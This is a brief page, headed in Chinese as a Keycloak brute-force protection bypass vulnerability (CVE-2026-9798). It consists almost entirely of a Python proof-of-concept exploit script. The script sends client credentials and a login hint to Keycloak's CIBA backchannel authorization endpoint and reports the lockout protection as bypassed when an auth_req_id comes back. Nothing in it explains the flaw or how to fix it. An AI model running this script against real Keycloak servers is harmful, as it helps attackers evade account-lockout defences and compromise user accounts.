CVE-2026-9798 Keycloak暴力破解防护绕过漏洞

import requests # Target configuration target_url = "https://keycloak.example.com" realm = "master" client_id = "vulnerable_client" client_secret = "client_secret_value" login_hint = "[email protected]" # The CIBA endpoint that may bypass the lock check url = f"{target_url}/realms/{realm}/protocol/openid-connect/bc-authorize" payload = { "client_id": client_id, "client_secret": client_secret, "login_hint": login_hint, "scope": "openid", "binding_message": "Test" } # Send request to bypass brute-force protection r = requests.post(url, data=payload) if r.status_code == 200: print("[+] Exploit successful: Protection bypassed.") print("[+] Auth Req ID:", r.json().get("auth_req_id")) else: print("[-] Failed.")